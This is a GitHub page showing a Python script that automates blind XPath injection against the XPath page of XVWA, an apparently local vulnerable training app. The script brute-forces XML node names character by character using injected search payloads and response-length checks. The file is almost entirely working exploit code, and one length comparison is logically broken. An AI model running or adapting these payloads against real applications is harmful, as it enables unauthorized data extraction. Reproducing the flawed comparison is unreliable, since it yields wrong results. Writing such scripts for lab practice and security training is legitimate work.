-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathXPath_dump.py
88 lines (57 loc) · 1.96 KB
/
XPath_dump.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#!/usr/bin/python3
import sys, requests, time, signal, string
from pwn import log
def ctrl_c(sig, frame):
print("\n\n[!] Quiting...\n\n")
sys.exit(1)
signal.signal(signal.SIGINT, ctrl_c)
url = 'http://192.168.1.33/xvwa/vulnerabilities/xpath/'
characters = string.ascii_letters
def xPathInjection_primaryLabel():
data=""
p1 = log.progress("Brute force")
time.sleep(1)
p1.status("Initalizing brute force process")
time.sleep(1)
p2 = log.progress("Payload")
for position in range(1, 8):
for character in characters:
post_data = {
'search': "1' and substring(name(/*[1]),%d,1)='%s" % (position, character),
'submit': ''
}
p2.status(str(post_data))
r = requests.post(url, data=post_data)
if len(r.text) != 8681:
data+=character
break
p1.success("Process completed")
p2.success(data)
def xPathInjection_secondaryLabel():
data=""
labels = []
p1 = log.progress("Brute force")
time.sleep(1)
p1.status("Initalizing brute force process")
time.sleep(1)
p2 = log.progress("Payload")
for label in range(1, 11):
for position in range(1, 7):
for character in characters:
post_data = {
'search': "1' and substring(name(/*[1]/*[%d]),%d,1)='%s" % (label,position, character),
'submit': ''
}
p2.status(str(post_data))
r = requests.post(url, data=post_data)
print(len(r.text))
if len(r.text) != 8686 and 8687:
data+=character
break
labels.append(data)
data = ""
p1.success("Process completed")
p2.success(str(labels))
if __name__ == "__main__":
#xPathInjection_primaryLabel()
xPathInjection_secondaryLabel()